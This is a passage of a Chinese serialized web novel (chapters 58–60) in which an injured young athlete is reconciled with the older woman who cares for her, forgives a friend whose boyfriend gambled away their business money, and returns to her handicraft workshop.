【作者有话说】 知道卡在这儿大家心痒痒。 留言破八十,二更。 58 第58章 (二更) ◎楚心柔抱着胳膊,冷冷地看着乔潇潇:“你跟我过来。”◎ 乔潇潇的瞳孔骤然收缩,指尖无意识地掐进了被单。那道逆光而立的身影,让她怀疑是不是疼痛产生的幻觉。 空气凝固了。 她能听见自己擂鼓般的心跳,连呼吸都屏住了,仿佛稍一眨眼,眼前的人就会消散。 楚心柔的指节攥得发白,一颗心在知道乔潇潇受伤的那一刻心疼的恨不得立即飞到她身边,可紧接着,当她听说乔潇潇手术都做完了,退出了田径队,刚出院连修养都没有就自己拄拐走了,这几天谁都不联系的时候,不可抑制的愤怒自心底溢出。 从未有过的感觉,就连她被家族压得喘不过气时都没有这么烦躁不安过,楚心柔这一路赶来,近12小时的车程,她被气的连口水都没喝,就想着看到乔潇潇之后,要怎么的质问她,怎么的训斥她了,可看到她吊着的石膏脚,还有红肿的不知道哭了多少次的眼睛时,那些凌厉的怒火都被生生地咽了下去。 乔半山发现,跟母鸡抱窝一样在床上躺了几天的潇潇终于挪窝了。 不仅人起来了,她还接了点水,洗了脸,把头发捋干净了。他看着要不是石膏不方便,潇潇都要洗澡了。 楚心柔一直冷着脸,带着一股子生人勿近的气场,洗了手之后就是去厨房烧火做饭。 乔潇潇拄着拐缓缓地跟了进去,家里那些高级的厨具姐姐都用不明白,别说是这种需要烧的了。 果然,刚踏进厨房,就看见楚心柔正对着灶膛发愣,手里还捏了一把柴火。 乔潇潇连忙说:“我来吧。” 回应她的只有柴火断裂的脆响,楚心柔连眼皮都没抬。 乔潇潇知道,姐姐这次是真的生气了,以前,她都舍不得跟自己冷脸这么久的,可是……可是,无论她的脸色怎么难堪,在看到她那一刻,潇潇还是感觉灵魂归位了。 院子里,乔半山的旱烟明明灭灭。这些天他变着花样给侄女做饭,虽说比不上潇潇的手艺,但好歹能入口,而乔潇潇几乎都没怎么动。 可他看着楚心柔端出来白花花的一盆也不知道是喂猪的还是喂鸡的面疙瘩之后,乔潇潇居然乖乖地坐在了椅子前,一口一口地吃了起来,她吃的很认真,还用眼睛小心翼翼地去瞥楚心柔的脸色,被瞪了之后就立即低下头,不敢再去看了。 乔半山:…… 暮色渐沉,檐下的老式灯泡在晚风中轻轻摇晃。 乔半山掸了掸烟灰,瞥了眼纹丝不动的楚心柔,转身开始收拾堂屋的杂物。他压低嗓音对潇潇道:“我去隔壁你宋叔家凑合一晚。” 他起初说这话的时候,还害怕潇潇不愿意自己走呢。 谁知道,乔潇潇眼睛直勾勾地盯着楚心柔,“*迫不及待”地冲他摆了摆手:“大伯,听我消息吧,这几天先别回来。” 乔半山:…… 大伯的脚步声渐渐消失在院门外,老屋里只剩下她们二人。 乔潇潇眼巴巴地看了楚心柔好几次,想说点什么,缓和一下,都被姐姐冷的跟冰块一样的脸给冻回来了。 楚心柔托着行李箱,语气疏离:“你晚上睡哪屋?” 乔潇潇怯怯地指了指里屋。这几日她整日昏睡,被褥都凌乱地堆着。 楚心柔也没搭理她,直接拉着行李箱走了进去,她把床单和被罩那么一卷,往地上一扔,皱着眉:“猪圈一样。” 乔潇潇:…… 只见楚心柔从行李箱取出崭新的紫罗兰色四件套,动作麻利地铺好。末了,她抬眼看向杵在门口的乔潇潇:“我睡这儿。” 言外之意,你爱哪儿凉快哪儿凉快去。 乔潇潇开始抿嘴了,她缓缓地低下了头,平时,她这么做,楚心柔早就心疼了,天大的错都原谅了她。 可今天,并没有。 楚心柔淡淡瞥了她一眼,“去洗澡,你都臭了。” 乔潇潇的脸红了,抓着拐就往外走,楚心柔起身,幽幽地叹了口气,“我帮你。” 她想,潇潇这几天没洗澡,大概是因为不方便吧。 本来这会儿,楚心柔愤怒的心都平缓一些了,乔潇潇只要顺坡爬说几句好话,抱住姐姐就好了,可谁知道死孩子的心思,她立即抓住自己衣襟口,涨红了脸,使劲摇头:“不、不、不……我自己洗。” 多么的惊慌失措,才会变成了话都说不利落的小结巴。 那些弯弯绕的少女心思,楚姐姐怎么会懂? 听着淅沥沥热水器的生气,楚心柔一个人坐在床边,越想越气,都有一种想要掐住乔潇潇的脖子,反手给她订在墙上的冲动了。 乔潇潇的洗澡过程异常艰难。她必须先用保鲜膜将石膏层层包裹,再用橡皮筋扎紧边缘。单腿站立时,整个身体的重量都压在扶墙的左臂上,她庆幸上次回家的时候安装了热水器,要不然怕是更要遭罪。 她在浴室里足足待了一个钟头,搓洗得皮肤发红才罢休。 乔潇潇故意没擦头发,发梢的水珠顺着脖颈滑进衣领,冰凉刺骨,她盘算着像从前那样,让姐姐心疼地给自己吹头发,却在走到门前时愣住了。 房门紧闭,里面一片漆黑。 乔潇潇站在原地琢磨了一会儿,她给杨绯棠打了电话过去。 半天才接听,杨绯棠那边的声音特别小,“喂?潇潇啊,有事吗?没事挂了。” 说完,她“啪”的一声,把电话挂断了。 张着嘴一个字还没来得及说的乔潇潇:??? …… “走投无路”的乔潇潇,只能一瘸一拐地回房间睡觉了,前几天,她都是浑浑噩噩的,躺在床上就起不了,全程混沌,可今天,大脑像是喝了咖啡一般,怎么都睡不着。 她双手枕在脑后,盯着天花板上的裂纹出神。 就算是楚心柔对她冷漠,就算是连个眼神都不给她。 可是因为姐姐的到来,这里的空气都好像不一样了一般。 隔壁房间,楚心柔同样辗转难眠。她盯着床头柜上那盒见底的布洛芬,心脏像被无形的手攥紧。乔潇潇向来抗拒止痛药,曾经膝盖受伤疼到整夜冷敷也不肯吃一粒。那时她总嬉笑着说:“我全身上下就属这颗脑袋最金贵,轻易不能吃药。” 而现在,药盒几乎空了。 三踝骨折、韧带完全撕裂。 楚心柔闭上眼,仿佛能听见潇潇在深夜咬牙忍痛的抽泣声。 她向来对潇潇的事格外敏锐。可偏偏这次,当电话那头传来“只是小伤”的轻快回答时,她竟信了。或许是因为太过信任,连心底隐约的不安都被她归为多虑。 正是这份毫无保留的信任,让此刻的真相化作千万根细针,密密麻麻地扎在心头。 每想一次潇潇独自忍痛的模样,那针便扎得更深一分。 楚心柔不能原谅自己的“大意”,更加不能忍受乔潇潇的“隐瞒”。 这一次,姐姐是真的动怒了。 直到返程那天,楚心柔依然对乔潇潇视若无睹。 乔潇潇本想提议坐火车省些路费,可楚心柔没理她,甚至连她都没给她开口的机会,直接安排了专车送她们去机场。头等舱宽敞的座椅让乔潇潇新奇不已,她忍不住东摸摸西看看,却在转头时撞见姐姐冷若冰霜的侧颜。 楚心柔专注地敲击着键盘,侧颜在舷窗透入的晨光中如同被时光打磨过的羊脂玉。金丝眼镜的细链随着她打字的动作微微晃动,在颈侧投下细碎的光影。 她能清晰地感受到身侧那道灼人的目光,却始终绷着下颌线没有转头。 直到听见呼吸声逐渐变得绵长,才用余光瞥去。乔潇潇不知何时已歪着头睡着了,睫毛在眼下投出两片小小的阴影,她微张的嘴角还挂着一点笑意。 把自己搞成这样,还开心? 楚心柔真是怒其不争,叫来空姐,给她盖上了薄被,身子向后靠着,摘下眼镜,捏了捏太阳穴。 她这几天,基本上都没有睡觉。 又急又气,根本睡不着。 她很想要问问乔潇潇,在她心里,到底把自己当什么?出了这么大的事儿,她为什么一句话不说,还躲起来? “没心没肺”的乔潇潇嗅着熟悉的茉莉花香,真的是睡满了全程。 等她睁开眼睛的时候,飞机已经落地了。 是阿森专程来接的。 乔潇潇其实挺好奇,为什么杨姐姐没来,可看楚心柔一副“你别跟我说半句话”的样子,也就不敢吱声了。 在车上,她居然又眯了一觉。 阿森能够敏锐地察觉到大小姐似乎跟乔潇潇生气了,一直很忐忑,频频从反光镜里去观察大小姐的脸色。 他发现一直到乔潇潇睡着,楚心柔紧蹙的眉头才舒展开一些,轻声吩咐他:“开慢点。” 阿森:“是。” 看来,不是真的动怒,还关心她。 到了目的地,下了车被凉风一吹,乔潇潇才茫然地四处看了看。 这不是工作室么? 怎么来这儿了? 楚心柔径直往里面走,乔潇潇虽然疑惑,也不得不拄着拐缓缓地跟上了。 她之前嘱咐袁璐,要把租的房子退了,把押金拿回来的。 难道又出什么事儿了? 乔潇潇的心猛地提到了嗓子眼。推门而入的瞬间,鼎沸的人声伴着明亮的灯光扑面而来——那些她以为早已搬空的小型设备不仅原封未动,反而添置了几台崭新的仪器。更令她呼吸一滞的是,满屋子忙碌的身影,竟全是熟悉的面孔。 为首的就是刚从国外训练场考察回来的王甜甜,她一看到乔潇潇就红着眼一拳砸到了她的胸口,“你小子!还知道回来!” 她不过是出去几天,回来后就听闻了乔潇潇受伤又退队的噩耗。 乔潇潇怔怔地看着她,楚鸽正翘着二郎腿,手里拿着个冰棍,美滋滋地指挥鹿晨:“教练,那批放这边,别把货弄混了。” 鹿晨恶狠狠地瞪了她一眼。 本来说是在外地帮女儿的王颖也回来了,干起了老本行,她分别分类的处理着垃圾,笑呵呵地看着乔潇潇,“饿了么?姨给你做点饭去?” 杨绯棠正在那串珠子,看见乔潇潇,也是鼻孔冷哼了一声,她又去看楚心柔。 得,还是没给她个好脸。 而杨绯棠的旁边是一直以来都神出鬼没的薛莜莜,薛总来的最晚,却是学的最快的,她对着乔潇潇点了点头,又抬手拍了一下杨绯棠的脑袋:“人家受伤了,你这是什么态度?” 杨绯棠:…… 袁璐看见乔潇潇回来最激动了,她一把冲上前,死死地抱住乔潇潇:“呜呜,大姐,你为什么不接我电话啊?” 什么叫柳暗花明又一村啊。 她本来按照乔潇潇的吩咐,亲自跑了一趟义乌,去找工厂的老板交违约金去了。 可谁知道那工厂的老板一看是小姑娘来的,还哭哭咧咧的,听她说了青心的现状与经过之后,特别感动于乔潇潇的“担当”,人家直接来了一句:“她不负我,我不负她。” “就凭她这股子良心劲儿,这朋友我交定了!” “回去告诉你们乔老板,违约金我不要了,就当是现货的押金,配送正常,让她赶紧赶工。” 王颖已经洗手,开始打鸡蛋了,她一边搅动着鸡蛋,一边回头看乔潇潇:“我闺女说了,那个基础款的红绳,她们要一万条,当做是赠品随着教程一起发给客户。” 薛莜莜笑呵呵的,“你杨姐姐琴房也要五百条。” 杨绯棠扯脖子,“我才不要!” 话音未落,脑门又挨了一记爆栗。她捂着发红的额头,欲哭无泪地在心里哀嚎,老天爷开开眼吧!她为这小祖宗操碎了心,如今竟落得个“同谋犯”的罪名,被楚心柔判了死刑,现在又被压着当小工,还有天理吗? 乔潇潇看着大家眼泪“啪嗒”“啪嗒”往下流,此时已经没有任何言语能表达她的心情了。 楚心柔的目光徐徐看了大家一圈,轻声说:“大家都辛苦了。” 所有人都兴奋地看着楚心柔。 她们一个个都是她张罗起来的,现在无比齐心,只听“楚总”的吩咐。 大家最近真的是累麻了,就连最有实力的薛总都感慨,“想不到小作坊能出这么多活儿。” 所有人都感慨,楚心柔出去了三天,她们累了三天,如今,乔潇潇也给找回来了,终于可以休息了吧?楚总还不带大家去集体吃一顿喝一顿嗨皮一下? 楚心柔微微一笑,“还差三千件货,就让我们再接再厉,一鼓作气!” 大家:…… 说完,她笑容一敛,抱着胳膊,冷冷地看着乔潇潇:“你跟我过来。” 【作者有话说】 楚资本家这次要好好收拾收拾潇潇。 59 第59章 ◎小璐,我资助你吧。◎ 乔潇潇眼泪还没擦干呢,“嗯”了一声就乖乖地跟在楚心柔的身后,甚至连干什么都不敢问。 在场的各位,大多数都是看惯了乔潇潇英姿飒爽的,骤然一看她这么小狗子一样乖巧可怜的模样,面面相觑。 杨绯棠这会儿精神了,她抬头,挑眉看着薛莜莜,用眼神示意她。 ——你看见了吗?人家年下都什么样? 薛总勾了勾唇角,脚尖轻点,藤蔓一样,一点点蹭着杨绯棠的腿,意味深长的眼神里,满是挑逗。 ——怎么,在床上让你说的算,还不行么? 袁璐在旁边呆呆地盯着看,王颖赶紧捂住了她的眼睛,发出警告:“还有孩子呢!” 相对比起那边的轻松愉悦的氛围。 楚心柔和乔潇潇这边则要干巴巴紧皱多了。 乔潇潇本以为会等到姐姐温柔的安慰,却见楚心柔久久凝视着她的眼睛,目光如深潭。半晌,她缓缓地说:“我找到王宁了。” 这句话像一记重锤,狠狠砸在乔潇潇心上,她猛地抬起头。 楚心柔如果真的想找一个人,并没有那么困难,她其实在这件事上,有犹豫过。 人生的路很长,长到足以让人经历无数坎坷与波折。年少时的挫折,与其说是苦难,不如说是命运的磨刀石,楚心柔也曾这样一步步走过来,这都是人生的必经之路。 吃一堑长一智。 可她明白潇潇的隐忍从何而来。 王宁对她而言,不仅仅是一个童年玩伴,在无人倾听的角落里,她是唯一愿意陪她说话的人,在被世界遗忘的时光里,王奶奶的一碗饺子足以暖了乔潇潇半颗心。 这些零星的好,在旁人眼里或许微不足道,可对潇潇来说,那是她贫瘠童年里仅有的温暖。 王宁过得并不好,日日夜夜被良心谴责,跟曾经相爱的男友这几天已经吵翻了天,她甚至想过自杀。 潇潇的每一分钱,是怎么赚的,浸泡了多少汗水,王宁都知道,所以,她才会把那笔钱当宝贝一样,睡觉都放在枕头边,就怕丢了。 去工厂交款的前两天,王宁还和男朋友安瑞憧憬着以后美好的生活,“我是真的没想到,潇潇小时候很孤僻的,总是蹲在村西头那个小河边抱着一大盆衣服洗,总是有孩子欺负她,冲她扔石头。” 那时候,哪怕是被欺负急了,乔潇潇也不敢还手,有一次头都打破了,流着血回到家里,黄素兰看到了很生气,“你不招惹他们,他们欺负你干什么?受伤了就想着不干活了是么?” “滚出去,衣服洗不完,你就别回来!” …… 王宁也害怕,她跑回家跟奶奶说了,奶奶听了之后,坐在炕上叹了半天气,“这娃儿啊,命太苦了,宁宁,去把奶奶床头的酸奶拿给潇潇喝。” 当王宁揣着酸奶溜到河边时,潇潇头上的布条已经被血浸透半边,脸颊肿得老高,手上的动作却不敢停。河水混着血丝,在她冻得通红的手边打着旋。 她很饿,饿得不行,可没有办法,她洗不完回去之后就是打骂。 “潇潇~”王宁小声叫着她,贼眉鼠眼地四处看了看,把酸奶塞到了她的怀里,转身就跑了。 之前,黄素兰看见过王宁给潇潇吃的,还追着她骂了几句,让她都有阴影了。 乔潇潇看着怀里的酸奶半响,她抿了抿唇,缓慢地垂下了头。 她知道,这是别人送王奶奶的,她自己都舍不得喝…… 就是因为看过乔潇潇一路走来有多么的不容易,王宁才更加的珍惜,“她头脑从小就灵活,不一般。” 王宁印象特别深,当时爸妈从城里给她带回来一个魔方,她宝贝似的对着说明书研究了很久,什么口诀背了半天也弄不明白,那几天,黄素兰正好带着糯糯回娘家,她就往过跑,嘟嘟囔囔地:“你看这个好难啊。” 乔潇潇刚喂完猪,在围裙上擦了擦手,转头看她,“我能看看么?” 王宁立即递给她。 她至今都记得那一幕——乔潇潇垂着眼帘,长睫毛在阳光下投下细碎的阴影。她只是粗略地扫了眼说明书,手指便轻轻搭上了魔方。起初动作还有些生涩,可渐渐地,那双手仿佛被赋予了魔力,彩色方块在她指间飞速旋转,发出清脆的“咔嗒”声。 “喏。” 乔潇潇把拼好的魔方递给王宁,继续去扫院子了。 当时,小小的王宁就被震撼了,她跑回家告诉奶奶,奶奶听了之后,又是一阵子叹息,“宁宁,她伯母是不是不在啊?” 王宁用力地点头。 王奶奶也往外望了望,“明天把她叫家里来,奶奶给你们做面条吃,我荷包几个鸡蛋。” …… 安瑞笑了,一手搂着她的肩膀,“真有那么厉害么?” 他没见过乔潇潇,却已经听王宁说过无数次了。 王宁用力地点头,眼睛亮晶晶的,“她做什么像什么,我要好好跟着她干,把青心弄好,到时候,我们就能有足够的底气抗衡家里了。” 她们的事儿,爸妈一直不同意,理由千千万万,归根到底是嫌弃安瑞没有钱。 俩人头一天还甜甜蜜蜜。 第二天一大早,正在做早饭的安瑞就接到了王宁妈妈的电话,电话那边,王宁妈妈把他好一顿骂,什么“吃了熊心豹子胆了一个穷小子能给女儿什么”“什么没本事耽误王宁的前途”“我们在老家已经给宁宁看好了有钱人家,能让她不用为了生计奔波,你能干什么?”…… 安瑞握着手机的手指节发白,听筒里每一个字都像烙铁,在他心上烫出焦黑的印子。 他点了一颗烟,站在阳台上抽完,一转身,看见了王宁枕边的钱,深吸一口气,重重地捻灭了烟头。 人,往往会因为那么一念之差,走上一条不归路。 当安瑞拿着那笔钱,到地下赌场的时候,他知道,自己堵上了他和王宁的未来。 而他输了。 …… 王宁得知消息的瞬间,整个人如遭雷击。 她发疯般地捶打着安瑞的胸膛,拳头雨点般落下,指甲深深掐进他的皮肉里,“你疯了?!”她声音嘶哑,泪水在脸上纵横交错,“你明明知道那笔钱不是我的……你明明知道的啊……” 安瑞低着头,任她捶打,他没有什么可解释的,也不知道该为自己辨别什么。 已经做了。 无论结果是什么,他都会承担。 …… 乔潇潇听着楚心柔的描述,眼泪顺着眼角滑落,楚心柔将手里写着地址的纸递给她,“她回来后,一直在附近的房子里躲着,不敢见你。” 她把决定权交给了潇潇。 那天的天气反常得令人心惊。 明明早已过了雨季,天空却突然飘起冰冷的雨夹雪。铅灰色的云层压得很低,仿佛随时会坠下来。乔潇潇裹紧大衣,踩着泥泞的小路来到出租屋前。楼道里弥漫着腐烂食物的酸臭味,斑驳的墙面上贴满了小广告,几个醉汉在不远处大声嚷嚷着下流话。 她在生锈的铁门前站了很久,才抬起手敲门。 “咚咚”的声响在空荡的走廊里格外刺耳。 敲到第三遍时,里面才传来一声沙哑的:“谁啊?” 门轴发出刺耳的“吱嘎”声,缓缓打开。 当看清门外站着的人时,王宁像是被雷击中般僵在原地。 不过短短十几天没见,命运在她们身上都刻下了深深的痕迹。 曾经意气风发的乔潇潇消瘦得几乎脱了形,外套空荡荡地挂在身上,右手拄着的拐杖在水泥地上投下一道斜斜的阴影。而王宁眼中的光彩早已熄灭,整个人如同深秋里最后一片枯叶,连呼吸都带着颤抖。 时间在两人之间凝固。楼道里漏进来的冷风卷着雨雪的气息,在沉默中盘旋。 王宁背后的房间里,堆满了各种杂货,地上还有零散的刚刚编好的红绳,她的手上贴满了创口贴,眼里全是血丝。 她知道,自己做了天大的错事,知道乔潇潇肯定要恨她入骨,更加知道,自己没办法求得宽恕。 她只能拼尽全力去弥补。 不管潇潇接受不接受。 她想过一了百了,甚至已经站在十八层的天台上了,可是……和安瑞,她可以分手,可以决裂,那奶奶呢?她是不是还每天,抱着拐,坐在村口等她回家呢? 就在王宁攥紧门把手,喉头滚动着要开口时,乔潇潇忽然从怀里掏出一盒酸奶。 是奶奶曾经给她的那个牌子。 世事变化,酸奶的包装已经变了,可味道却没有变。 王宁的视线从酸奶慢慢移到乔潇潇脸上,她依然沉默着,只是固执地伸着手。 那一刻,所有强撑的防线轰然崩塌,王宁滚烫的泪水决堤而下。 …… 杨绯棠在家里不解地问楚心柔:“你就这么让潇潇去了?不怕她一冲动做出点什么事儿来?” 在她看来,应该报警啊,把人带走接受法律的制裁才解气。 楚心柔面无表情地看着她,“要真想报警,潇潇第一时间就报了。” 杨绯棠撇嘴,“那崽子就是心软,你看看她因为这一次,被折腾成什么样了?” 她现在想到王宁都气的牙痒痒。 “她那么信任她,却遭到背叛,我都怕影响她以后的成长。” 楚心柔幽幽地叹了口气,“所以,这个结才要她自己亲手解开。” 杨绯棠听了沉默了一会儿,她看了看楚心柔眼下的乌青,“你到底是怎么在短时间内做了这么多事儿的啊?你不会……这几天都没合眼吧?” 楚心柔不语,只是身子向后,微微地靠着。 杨绯棠又盯着她看了一会儿,抿了抿唇,问:“心柔,你不觉得……” “什么?”楚心柔看着她,不仅仅是眼里,就连声音里都带着疲惫。 杨绯棠摇了摇头,起身,把抱枕递给她,“你靠着休息会儿,剩下的交给我们吧。” …… 日子好像又重新回到了原有的轨道。 乔潇潇把王宁带回工作室那一天,大家都像是被按了暂停键,停顿了几秒钟。 王宁低着头,不敢看大家,右手死死地抠着裤腿,手心都是汗。 乔潇潇看了看王颖,“姨,人手差不多了,你赶紧回去帮帮闺女,她那边刚起步,不容易。” 王颖拖地的手停下,她看着乔潇潇。 乔潇潇对着她笑了笑,“您跟姐姐说,她的帮助,我铭记在心,这一万条手串,全都放在那,按季度结账,她当赠品,卖出一条,给我一条的钱就行。” 都是从一点点打拼出来的,乔潇潇知道有多么的不容易。 王颖迟疑着点了点头,大家还是沉默,这时候,楚心柔拎着几个袋子走了进来,她看了看大家笑了笑,“来吧,前几天不就念叨着要吃小龙虾么?我买回了三种口味的。” 这一下子,气氛瞬间缓和了。 尤其是袁璐,小跑着去拿袋子,嘴里叨叨着:“馋死我了,馋死我了!” 王甜甜走到了乔潇潇的身边,抬起手,拍了拍她的肩膀,“嘿,sister,我们又走过了一段艰难的路程。” 正低头解袋子的楚心柔看了看王甜甜的手,乔潇潇给她拨拉开,“你也赶紧回瑞典归队吧。” 王甜甜伤感地看了看乔潇潇的拐杖,“说好的小甜甜组合,最后只剩下一个甜了。” 乔潇潇瞥她,“你要是真的难过,就拿几个手串出去,给瑞典队介绍一下咱们中国的古韵特色。” 王甜甜:…… 做个人吧! 这一顿饭,几个人吃的轻松加愉悦,谁都没有再提之前的事儿。 袁璐最为开心,感觉到乔潇潇一个脚丫子虽然还瘸着,但灵魂回来了,立即说:“大姐,我和小花我们几个孩子准备重拾你的旧业了。” 乔潇潇听了有点惊讶,“去富民街摆摊了?” 袁璐摇头:“捡垃圾。” 乔潇潇:…… 杨绯棠一听乐了,“那你还不如跟训练场旁边卖水呢,那不是有一个小栅栏么?我看每次大家都跟那买水。” 她被乔潇潇培养的简直是眼观六路耳听八方,只要是学校方圆十里赚钱的门路,杨姐姐都得给搜罗起来。 袁璐一听就摇头,“虽然买的人多,但是竞争太大了,大家都搞什么买三赠一的,利润太小了。” 乔潇潇扒着小龙虾,头也不抬,“她们拼利润,那你就反其道而行拼服务,弄点汗巾小马扎什么的,把你杨姐姐拉过去,来一个队员,她就发一个汗巾,说一声“真棒”,你去试试,肯定卖火爆!” 大家:…… 真的是……她还不如脚丫子坏着,别发言了。 所有人都在为乔潇潇的恢复而开心,只有她自己,一双眼睛可怜巴巴地看着楚心柔。 姐姐……还是不理她。 她真的是没有办法了。 想要按照杨姐姐说的撒娇来办,可人家压根没给她这个机会。 站在一边的楚心柔看袁璐吃得开心,递给了她一张纸巾,袁璐“受宠若惊”地接了过去,“谢谢楚姐姐!” 以前,一直因为要照顾“家里特别爱吃醋”的孩子,楚姐姐都不怎么跟她说话的。 乔潇潇捏着小龙虾的手悬空了。 楚心柔看着袁璐,不咸不淡地开口了,“小璐,我资助你吧。” 一句话,在场热热闹闹嚷嚷着吃小龙虾的各位都停住了,齐刷刷地看着这边。 乔潇潇的手捏爆了小龙虾,汁水溅到了王颖刚擦好的地面。 袁璐吓得头发都要竖起来了,“为……为什么?” 楚心柔缓缓地说:“因为你有嘴,你会说话。” 袁璐:??? 大家:…… 【作者有话说】 还有人想要二更么? 最近叶子是不是二更太频繁了?捂脸。 试试吧,留言过八十,二更。 60 第60章 (二更) ◎追求者出现。◎ 大家原本还以为楚心柔真的要资助袁璐,一听她说——因为你有嘴,你会说话就都嘘声了,拿眼睛去扫乔潇潇。 对于她“消失”这件事儿,其实在场的几位,没一个满意的。 可别看乔潇潇瘦的跟竹竿似的,小小年龄,已经有了威望与气场,就是有不满,谁也不敢说她什么。 毕竟人家是把所有的一切都安排妥当了才“不声不响”离开的。 可怜的就只有袁璐了。 这个傻乎乎的实在孩子,挠了挠头,她有点不好意思地看着楚心柔:“其实……其实……” 大家都以为她要说点什么“我要独立自主,不需要您资助了”“非常感谢”之类的话,谁知道人家吭哧半天来了一句:“楚姐姐,现在有大姐帮着我,我应该不需要资助了。” 沉默。 死一般的沉默与寂静。 杨绯棠憋笑憋的都要忍不住了。 楚心柔冷哼一声,点头,“是,翅膀硬了,不需要我了。” 说着,她转身就走,吓得乔潇潇赶紧把手里捏爆的小龙虾扔到了桌子上,冲袁璐投去一个赞赏的眼神,又赶紧用杨姐姐的衣服擦了擦手,追了出去。 杨绯棠:…… TMD!!!这是她刚买的裙子啊!!! 楚心柔走的很快,快到乔潇潇拄着拐赶出来的时候,人都没影了。 她虽然生气,但到底理智在,楚心柔只想要整一整她这嘴硬的毛病,就“跑”回家等着她去了。 谁知道,从天亮等到了天黑。 乔潇潇把琴房、学校周边以及富民街都转遍了也没找到姐姐,当她哭咧咧地给杨绯棠打电话的时候,杨绯棠正在家里喝蓝莓汁,“你说心柔啊?在我对面下棋呢。” 乔潇潇:…… 挂了电话,楚心柔无语地看着杨绯棠,“你说她为什么就不能打个电话,直接问我?” 杨绯棠一伸手,故作深沉的执起一枚白子,“这个,不好说。”她另一只手抚着下巴,高深莫测:“你有没有发现,小崽子对你跟对别人不一样?” 楚心柔摇头:“没有。” 杨绯棠:…… “还有,你是黑子。” 杨绯棠:…… 乔潇潇回来了。 杨绯棠是出了门远远地看到了小崽子。 她真的要感慨了。 她家潇潇是个人才。 这才几天啊,就能以拐为剑了,挥的速度快的都有残影了。 潇潇的确学东西快,刚开始,她用拐还很费劲,经过这一下午的焦急寻找,她感觉自己已经“人拐”合一了。 楚心柔依旧如往常一般,端坐在沙发上,纤长的手指轻轻托着青瓷茶盏。 寻找了她一下午的乔潇潇这次是真的明白了,她走到沙发前,把拐一扔,抱住了楚心柔:“姐姐,我错了。” 她像是小狗一样蹭着楚心柔的脖颈,楚心柔身子微微僵硬,心里紧绷的那条弦断了,却还是强绷着脸,“错在哪儿了?” 筋疲力尽的乔潇潇已经顾不得那么多了,她抱着姐姐哼哼唧唧的,“我……我以后有事儿,第一个告诉你……再也不瞒着了……也不偷偷跑了……要不我——” 楚心柔一下子捂住了她的嘴,嗔着:“不许瞎说。” 她是要乔潇潇懂得沟通,不要什么都憋在心里,却不想她乱发誓。 那带着馨香的手挡着自己的唇,乔潇潇真的很想舔一舔,她生生地克制住了。 放在心尖上的人,终于抱到了。 乔潇潇一直以来紧绷的神经彻底放松了,她不说则以,一说靠着姐姐的肩膀,眼圈都红了,“我……我很害怕……努力了那么久的钱……都没了,偏偏……偏偏还是宁姐,她和奶奶对我有恩……我、我不能报警。” 当时,她是抱着就这么认了的心抗下一切的。 “我的脚……我再也不能上跑道了……” 她在楚心柔的怀里哭的委屈的像是个孩子,楚心柔拥着她,反手抚着她的发,任她在自己怀里发泄情绪。 心底的那一股子气,也随着潇潇的眼泪,烟消云散了。 以前,她也对楚凤依这样娇惯宠溺,但或许是当时年少吧,楚心柔并没有这样大的耐性。 可如今,她把一切温柔与耐心,都给了潇潇。 乔潇潇的眼泪浸透了楚心柔的衣襟,直到情绪渐渐平复,才转为低低的抽噎。楚心柔的手指轻轻梳理着她的发丝,温声问:“潇潇,你当初为什么想进田径队?” 哭过之后的乔潇潇感觉心出奇的平静,她靠着姐姐的肩膀,回忆着:“我记得……当时我在操场上看她们训练,她们整体化一的跑着步,大喊着“为校争光”“为国争光”,我鸡皮疙瘩都起来了。” 那种阵仗,那种豪气,让她向往。 楚心柔唇角微微上扬,她低下头,看着怀里的小哭包,“所以,我们潇潇也想为国争光?” 被说中心事儿的乔潇潇脸红了,她怕自己这样想,楚心柔会觉得她自不量力。 可姐姐啊,是那么的了解她。 楚心柔伸手,戳了戳她的脸颊,“为国争光的方式有很多种,不一定要当运动员。你看,各行各业不都有杰出的人才在发光发热吗?” 教师在三尺讲台耕耘希望,警察在街头巷尾守护平安,消防员于危难时刻逆行而上,甚至保洁风里雨里日复一日的坚持,谁说这样的坚守,不是另一种为国争光呢? 他们或许没有站在领奖台上,没有聚光灯追逐,但正是这些平凡却坚定的身影,撑起了国人安稳的每一天。 乔潇潇抬起头,怔怔地看着姐姐,楚心柔摸了摸她哭红的脸颊:“还有,姐姐今天想跟你谈谈松弛感。” “我知道。”楚心柔看着她的眼睛,满是真挚:“我们潇潇小时候吃了太多的苦。” 乔潇潇委屈的开始撇嘴,她也不知道怎么了,在姐姐面前居然做出了糯糯才会有的动作。 楚心柔抱了抱她,“可是,你大了,也慢慢的变色出色,不用再为温饱而焦虑了,我知道,你们现在都在说什么年轻就要拼搏,就要靠这几年了。” 她捧起乔潇潇的脸,眼眸里盛满星光般的温柔:“可是潇潇,姐姐更希望你能张弛有度。人生不是一根绷到极限的弦,而是一首有快有慢的乐章。” “无论是学习还是体育,都只是你*成长路上的一颗星辰。”楚心柔指向窗外的夜空,“你看,整片星空都在温柔闪烁。有时候,我们不必执着于摘星,静静感受星光洒落的温暖,也是一种美好。” 她的声音轻得像夜风:“极致固然耀眼,但留白处,往往藏着更动人的风景。” 乔潇潇沉浸在姐姐眼里的无尽温柔中,她第一次彻底的放下防备,就那么靠着姐姐。 在楚心柔这儿。 她不是什么团队的leader。 不是什么别人眼中的偶像,她只需要做自己就好了。 当天晚上,乔潇潇从包里拿出自己最近吃的药,“这是甲钴胺,促进神经修复的,这是阿莫西林,抗感染的,这是……” 楚心柔认真地一个个看着那药盒,看着乔潇潇说起这些的时候,微微鼓着的小脸蛋,她心疼地抱住了她,“潇潇,疼不疼?” 乔潇潇陷入姐姐的怀抱里,眼里一片湿润。 “疼,可疼可疼了。” 她终于不嘴硬了。 终于开口诉说心底的脆弱了。 第二天一早上,杨姐姐过来蹭饭的时候,被眼前的一幕惊的目瞪口呆的。 平时,厨房里都是乔潇潇在忙碌,而如今,楚心柔扎着围裙忙来忙去的,乔潇潇坐在椅子上,声音娇滴滴地说:“姐姐,可以吃小黄鱼么?” 楚心柔点头,“好好好。” 乔潇潇:“我今天不用吃止疼片了,昨晚都没怎么疼。” 楚心柔看了她一眼,“一会儿我问问sophia。” 杨绯棠不可思议地观望了一会儿,她坐了过去,碰了碰乔潇潇:“唉,当皇帝感觉怎么样?” 乔潇潇美滋滋地说:“还不错。” 杨绯棠看她这样就来气,“你现在到享受上了,我那几天跟着你风里雨里的,你都没点表示?” 说着,她的手搓了搓。 乔潇潇立即变色,“杨姐姐,别谈钱,谈钱就伤感情了,你也知道我现在在度难关。” 杨绯棠翻白眼,“我今晚想吃红烧肉。” 